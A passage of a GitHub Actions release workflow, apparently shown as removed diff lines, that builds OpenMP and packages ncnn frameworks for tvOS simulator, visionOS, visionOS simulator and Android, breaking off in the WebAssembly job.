actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: ${{ env.PACKAGENAME }}.zip - - openmp-tvos-simulator: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$TVOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - steps: - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-tvos-simulator-release-18.1.2-20240403 - - name: checkout - if: steps.cache-openmp.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: build-x86_64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-x86_64 && cd build-x86_64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_TVOS -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64 && cd build-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_TVOS -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - rm -rf $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/include $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/lib/libomp.a - - name: upload - uses: actions/upload-artifact@v4 - with: - name: openmp-tvos-simulator - path: openmp-install - - tvos-simulator: - needs: [setup, openmp-tvos-simulator] - strategy: - matrix: - opt: - - { vulkan: OFF, id: tvos-simulator } - - { vulkan: ON, id: tvos-simulator-vulkan } - runs-on: macos-13 - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-${{ matrix.opt.id }} - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$TVOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_BUILD_BENCHMARK=OFF \ - -DNCNN_VULKAN=${{ matrix.opt.vulkan }} \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: download-openmp-tvos-simulator - uses: actions/download-artifact@v4 - with: - name: openmp-tvos-simulator - path: openmp-tvos-simulator - - name: install-openmp - run: | - sudo cp openmp-tvos-simulator/include/* $DEVELOPER_DIR/Platforms/AppleTVSimulator.platform/Developer/SDKs/AppleTVSimulator.sdk/usr/include - sudo cp openmp-tvos-simulator/lib/libomp.a $DEVELOPER_DIR/Platforms/AppleTVSimulator.platform/Developer/SDKs/AppleTVSimulator.sdk/usr/lib - - name: build-x86_64 - run: | - mkdir build-x86_64 && cd build-x86_64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_TVOS -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64 - run: | - mkdir build-arm64 && cd build-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_TVOS -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: package-openmp - run: | - rm -rf openmp.framework - mkdir -p openmp.framework/Versions/A/Headers - mkdir -p openmp.framework/Versions/A/Resources - ln -s A openmp.framework/Versions/Current - ln -s Versions/Current/Headers openmp.framework/Headers - ln -s Versions/Current/Resources openmp.framework/Resources - ln -s Versions/Current/openmp openmp.framework/openmp - cp openmp-tvos-simulator/lib/libomp.a openmp.framework/Versions/A/openmp - cp -a openmp-tvos-simulator/include/* openmp.framework/Versions/A/Headers/ - sed -e 's/__NAME__/openmp/g' -e 's/__IDENTIFIER__/org.llvm.openmp/g' -e 's/__VERSION__/18.1/g' Info.plist > openmp.framework/Versions/A/Resources/Info.plist - - name: package-glslang - if: matrix.opt.vulkan == 'ON' - run: | - rm -rf glslang.framework - mkdir -p glslang.framework/Versions/A/Headers - mkdir -p glslang.framework/Versions/A/Resources - ln -s A glslang.framework/Versions/Current - ln -s Versions/Current/Headers glslang.framework/Headers - ln -s Versions/Current/Resources glslang.framework/Resources - ln -s Versions/Current/glslang glslang.framework/glslang - libtool -static \ - build-x86_64/install/lib/libglslang.a \ - build-x86_64/install/lib/libMachineIndependent.a \ - build-x86_64/install/lib/libGenericCodeGen.a \ - build-x86_64/install/lib/libSPIRV.a \ - build-x86_64/install/lib/libOGLCompiler.a \ - build-x86_64/install/lib/libOSDependent.a \ - -o build-x86_64/install/lib/libglslang_combined.a - libtool -static \ - build-arm64/install/lib/libglslang.a \ - build-arm64/install/lib/libMachineIndependent.a \ - build-arm64/install/lib/libGenericCodeGen.a \ - build-arm64/install/lib/libSPIRV.a \ - build-arm64/install/lib/libOGLCompiler.a \ - build-arm64/install/lib/libOSDependent.a \ - -o build-arm64/install/lib/libglslang_combined.a - lipo -create \ - build-x86_64/install/lib/libglslang_combined.a \ - build-arm64/install/lib/libglslang_combined.a \ - -o glslang.framework/Versions/A/glslang - cp -a build-x86_64/install/include/glslang glslang.framework/Versions/A/Headers/ - sed -e 's/__NAME__/glslang/g' -e 's/__IDENTIFIER__/org.khronos.glslang/g' -e 's/__VERSION__/1.0/g' Info.plist > glslang.framework/Versions/A/Resources/Info.plist - - name: package-ncnn - run: | - rm -rf ncnn.framework - mkdir -p ncnn.framework/Versions/A/Headers - mkdir -p ncnn.framework/Versions/A/Resources - ln -s A ncnn.framework/Versions/Current - ln -s Versions/Current/Headers ncnn.framework/Headers - ln -s Versions/Current/Resources ncnn.framework/Resources - ln -s Versions/Current/ncnn ncnn.framework/ncnn - lipo -create \ - build-x86_64/install/lib/libncnn.a \ - build-arm64/install/lib/libncnn.a \ - -o ncnn.framework/Versions/A/ncnn - cp -a build-x86_64/install/include/* ncnn.framework/Versions/A/Headers/ - sed -e 's/__NAME__/ncnn/g' -e 's/__IDENTIFIER__/com.tencent.ncnn/g' -e 's/__VERSION__/1.0/g' Info.plist > ncnn.framework/Versions/A/Resources/Info.plist - - name: package - if: matrix.opt.vulkan == 'OFF' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework ncnn.framework - - name: package - if: matrix.opt.vulkan == 'ON' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework glslang.framework ncnn.framework - - name: upload-zip - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: ${{ env.PACKAGENAME }}.zip - - openmp-visionos: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$VISIONOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - steps: - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-visionos-release-18.1.2-20240403 - - name: checkout - if: steps.cache-openmp.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: build-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64 && cd build-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=VISIONOS -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - rm -rf $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/include $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/lib - cp openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/lib/libomp.a $GITHUB_WORKSPACE/openmp-install/lib/libomp.a - - name: upload - uses: actions/upload-artifact@v4 - with: - name: openmp-visionos - path: openmp-install - - visionos: - needs: [setup, openmp-visionos] - strategy: - matrix: - opt: - - { vulkan: OFF, id: visionos } - - { vulkan: ON, id: visionos-vulkan } - runs-on: macos-13 - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-${{ matrix.opt.id }} - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$VISIONOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_BUILD_BENCHMARK=OFF \ - -DNCNN_VULKAN=${{ matrix.opt.vulkan }} \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: download-openmp-visionos - uses: actions/download-artifact@v4 - with: - name: openmp-visionos - path: openmp-visionos - - name: install-openmp - run: | - sudo cp openmp-visionos/include/* $DEVELOPER_DIR/Platforms/XROS.platform/Developer/SDKs/XROS.sdk/usr/include - sudo cp openmp-visionos/lib/libomp.a $DEVELOPER_DIR/Platforms/XROS.platform/Developer/SDKs/XROS.sdk/usr/lib - - name: build-arm64 - run: | - mkdir build-arm64 && cd build-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=VISIONOS -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: package-openmp - run: | - rm -rf openmp.framework - mkdir -p openmp.framework/Versions/A/Headers - mkdir -p openmp.framework/Versions/A/Resources - ln -s A openmp.framework/Versions/Current - ln -s Versions/Current/Headers openmp.framework/Headers - ln -s Versions/Current/Resources openmp.framework/Resources - ln -s Versions/Current/openmp openmp.framework/openmp - cp openmp-visionos/lib/libomp.a openmp.framework/Versions/A/openmp - cp -a openmp-visionos/include/* openmp.framework/Versions/A/Headers/ - sed -e 's/__NAME__/openmp/g' -e 's/__IDENTIFIER__/org.llvm.openmp/g' -e 's/__VERSION__/18.1/g' Info.plist > openmp.framework/Versions/A/Resources/Info.plist - - name: package-glslang - if: matrix.opt.vulkan == 'ON' - run: | - rm -rf glslang.framework - mkdir -p glslang.framework/Versions/A/Headers - mkdir -p glslang.framework/Versions/A/Resources - ln -s A glslang.framework/Versions/Current - ln -s Versions/Current/Headers glslang.framework/Headers - ln -s Versions/Current/Resources glslang.framework/Resources - ln -s Versions/Current/glslang glslang.framework/glslang - libtool -static \ - build-arm64/install/lib/libglslang.a \ - build-arm64/install/lib/libMachineIndependent.a \ - build-arm64/install/lib/libGenericCodeGen.a \ - build-arm64/install/lib/libSPIRV.a \ - build-arm64/install/lib/libOGLCompiler.a \ - build-arm64/install/lib/libOSDependent.a \ - -o build-arm64/install/lib/libglslang_combined.a - cp build-arm64/install/lib/libglslang_combined.a glslang.framework/Versions/A/glslang - cp -a build-arm64/install/include/glslang glslang.framework/Versions/A/Headers/ - sed -e 's/__NAME__/glslang/g' -e 's/__IDENTIFIER__/org.khronos.glslang/g' -e 's/__VERSION__/1.0/g' Info.plist > glslang.framework/Versions/A/Resources/Info.plist - - name: package-ncnn - run: | - rm -rf ncnn.framework - mkdir -p ncnn.framework/Versions/A/Headers - mkdir -p ncnn.framework/Versions/A/Resources - ln -s A ncnn.framework/Versions/Current - ln -s Versions/Current/Headers ncnn.framework/Headers - ln -s Versions/Current/Resources ncnn.framework/Resources - ln -s Versions/Current/ncnn ncnn.framework/ncnn - cp build-arm64/install/lib/libncnn.a ncnn.framework/Versions/A/ncnn - cp -a build-arm64/install/include/* ncnn.framework/Versions/A/Headers/ - sed -e 's/__NAME__/ncnn/g' -e 's/__IDENTIFIER__/com.tencent.ncnn/g' -e 's/__VERSION__/1.0/g' Info.plist > ncnn.framework/Versions/A/Resources/Info.plist - - name: package - if: matrix.opt.vulkan == 'OFF' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework ncnn.framework - - name: package - if: matrix.opt.vulkan == 'ON' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework glslang.framework ncnn.framework - - name: upload-zip - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: ${{ env.PACKAGENAME }}.zip - - openmp-visionos-simulator: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$VISIONOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - steps: - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-visionos-simulator-release-18.1.2-20240403 - - name: checkout - if: steps.cache-openmp.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: build-x86_64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-x86_64 && cd build-x86_64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_VISIONOS -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64 && cd build-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_VISIONOS -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - rm -rf $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/include $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/lib/libomp.a - - name: upload - uses: actions/upload-artifact@v4 - with: - name: openmp-visionos-simulator - path: openmp-install - - visionos-simulator: - needs: [setup, openmp-visionos-simulator] - strategy: - matrix: - opt: - - { vulkan: OFF, id: visionos-simulator } - - { vulkan: ON, id: visionos-simulator-vulkan } - runs-on: macos-13 - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-${{ matrix.opt.id }} - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$VISIONOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_BUILD_BENCHMARK=OFF \ - -DNCNN_VULKAN=${{ matrix.opt.vulkan }} \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: download-openmp-visionos-simulator - uses: actions/download-artifact@v4 - with: - name: openmp-visionos-simulator - path: openmp-visionos-simulator - - name: install-openmp - run: | - sudo cp openmp-visionos-simulator/include/* $DEVELOPER_DIR/Platforms/XRSimulator.platform/Developer/SDKs/XRSimulator.sdk/usr/include - sudo cp openmp-visionos-simulator/lib/libomp.a $DEVELOPER_DIR/Platforms/XRSimulator.platform/Developer/SDKs/XRSimulator.sdk/usr/lib - - name: build-x86_64 - run: | - mkdir build-x86_64 && cd build-x86_64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_VISIONOS -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64 - run: | - mkdir build-arm64 && cd build-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_VISIONOS -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: package-openmp - run: | - rm -rf openmp.framework - mkdir -p openmp.framework/Versions/A/Headers - mkdir -p openmp.framework/Versions/A/Resources - ln -s A openmp.framework/Versions/Current - ln -s Versions/Current/Headers openmp.framework/Headers - ln -s Versions/Current/Resources openmp.framework/Resources - ln -s Versions/Current/openmp openmp.framework/openmp - cp openmp-visionos-simulator/lib/libomp.a openmp.framework/Versions/A/openmp - cp -a openmp-visionos-simulator/include/* openmp.framework/Versions/A/Headers/ - sed -e 's/__NAME__/openmp/g' -e 's/__IDENTIFIER__/org.llvm.openmp/g' -e 's/__VERSION__/18.1/g' Info.plist > openmp.framework/Versions/A/Resources/Info.plist - - name: package-glslang - if: matrix.opt.vulkan == 'ON' - run: | - rm -rf glslang.framework - mkdir -p glslang.framework/Versions/A/Headers - mkdir -p glslang.framework/Versions/A/Resources - ln -s A glslang.framework/Versions/Current - ln -s Versions/Current/Headers glslang.framework/Headers - ln -s Versions/Current/Resources glslang.framework/Resources - ln -s Versions/Current/glslang glslang.framework/glslang - libtool -static \ - build-x86_64/install/lib/libglslang.a \ - build-x86_64/install/lib/libMachineIndependent.a \ - build-x86_64/install/lib/libGenericCodeGen.a \ - build-x86_64/install/lib/libSPIRV.a \ - build-x86_64/install/lib/libOGLCompiler.a \ - build-x86_64/install/lib/libOSDependent.a \ - -o build-x86_64/install/lib/libglslang_combined.a - libtool -static \ - build-arm64/install/lib/libglslang.a \ - build-arm64/install/lib/libMachineIndependent.a \ - build-arm64/install/lib/libGenericCodeGen.a \ - build-arm64/install/lib/libSPIRV.a \ - build-arm64/install/lib/libOGLCompiler.a \ - build-arm64/install/lib/libOSDependent.a \ - -o build-arm64/install/lib/libglslang_combined.a - lipo -create \ - build-x86_64/install/lib/libglslang_combined.a \ - build-arm64/install/lib/libglslang_combined.a \ - -o glslang.framework/Versions/A/glslang - cp -a build-x86_64/install/include/glslang glslang.framework/Versions/A/Headers/ - sed -e 's/__NAME__/glslang/g' -e 's/__IDENTIFIER__/org.khronos.glslang/g' -e 's/__VERSION__/1.0/g' Info.plist > glslang.framework/Versions/A/Resources/Info.plist - - name: package-ncnn - run: | - rm -rf ncnn.framework - mkdir -p ncnn.framework/Versions/A/Headers - mkdir -p ncnn.framework/Versions/A/Resources - ln -s A ncnn.framework/Versions/Current - ln -s Versions/Current/Headers ncnn.framework/Headers - ln -s Versions/Current/Resources ncnn.framework/Resources - ln -s Versions/Current/ncnn ncnn.framework/ncnn - lipo -create \ - build-x86_64/install/lib/libncnn.a \ - build-arm64/install/lib/libncnn.a \ - -o ncnn.framework/Versions/A/ncnn - cp -a build-x86_64/install/include/* ncnn.framework/Versions/A/Headers/ - sed -e 's/__NAME__/ncnn/g' -e 's/__IDENTIFIER__/com.tencent.ncnn/g' -e 's/__VERSION__/1.0/g' Info.plist > ncnn.framework/Versions/A/Resources/Info.plist - - name: package - if: matrix.opt.vulkan == 'OFF' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework ncnn.framework - - name: package - if: matrix.opt.vulkan == 'ON' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework glslang.framework ncnn.framework - - name: upload-zip - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: ${{ env.PACKAGENAME }}.zip - - android: - needs: [setup] - strategy: - matrix: - opt: - - { vulkan: OFF, shared-lib: OFF, id: android } - - { vulkan: OFF, shared-lib: ON, id: android-shared } - - { vulkan: ON, shared-lib: OFF, id: android-vulkan } - - { vulkan: ON, shared-lib: ON, id: android-vulkan-shared } - runs-on: ubuntu-latest - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-${{ matrix.opt.id }} - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=$ANDROID_NDK_LATEST_HOME/build/cmake/android.toolchain.cmake \ - -DANDROID_USE_LEGACY_TOOLCHAIN_FILE=False \ - -DCMAKE_BUILD_TYPE=Release \ - -DCMAKE_INSTALL_PREFIX=install \ - -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_BUILD_BENCHMARK=OFF \ - -DNCNN_VULKAN=${{ matrix.opt.vulkan }} \ - -DNCNN_SHARED_LIB=${{ matrix.opt.shared-lib }} \ - -DNCNN_AVX512BF16=OFF \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: ndk-fix-debug - run: sed -i -e '/^ -g$/d' $ANDROID_NDK_LATEST_HOME/build/cmake/android-legacy.toolchain.cmake - - name: build-armeabi-v7a - run: | - mkdir build-armeabi-v7a && cd build-armeabi-v7a - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DANDROID_ABI="armeabi-v7a" -DANDROID_ARM_NEON=ON -DANDROID_PLATFORM=android-14 .. - cmake --build . -j $(nproc) - cmake --build . --target install/strip - - name: build-arm64-v8a - run: | - mkdir build-arm64-v8a && cd build-arm64-v8a - cmake ${{ env.NCNN_CMAKE_OPTIONS }}-DANDROID_ABI="arm64-v8a" -DANDROID_PLATFORM=android-21 .. - cmake --build . -j $(nproc) - cmake --build . --target install/strip - - name: build-x86 - run: | - mkdir build-x86 && cd build-x86 - cmake ${{ env.NCNN_CMAKE_OPTIONS }}-DANDROID_ABI="x86" -DANDROID_PLATFORM=android-14 .. - cmake --build . -j $(nproc) - cmake --build . --target install/strip - - name: build-x86_64 - run: | - mkdir build-x86_64 && cd build-x86_64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }}-DANDROID_ABI="x86_64" -DANDROID_PLATFORM=android-21 .. - cmake --build . -j $(nproc) - cmake --build . --target install/strip - - name: package - run: | - rm -rf ${{ env.PACKAGENAME }} - mkdir -p ${{ env.PACKAGENAME }} - cp -a build-armeabi-v7a/install ${{ env.PACKAGENAME }}/armeabi-v7a - cp -a build-arm64-v8a/install ${{ env.PACKAGENAME }}/arm64-v8a - cp -a build-x86/install ${{ env.PACKAGENAME }}/x86 - cp -a build-x86_64/install ${{ env.PACKAGENAME }}/x86_64 - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip ${{ env.PACKAGENAME }} - - name: upload-zip - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: ${{ env.PACKAGENAME }}.zip - - webassembly: - needs: [setup] - runs-on: ubuntu-latest - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-webassembly - steps: - - uses: actions/checkout@v4 - - name: emsdk - run: | - git clone https://github.com/emscripten-core/emsdk.git - cd emsdk - ./emsdk install $EMSCRIPTEN_VERSION - ./emsdk activate $EMSCRIPTEN_VERSION - - name: build - run: | - source emsdk/emsdk_env.sh - mkdir build && cd build - cmake 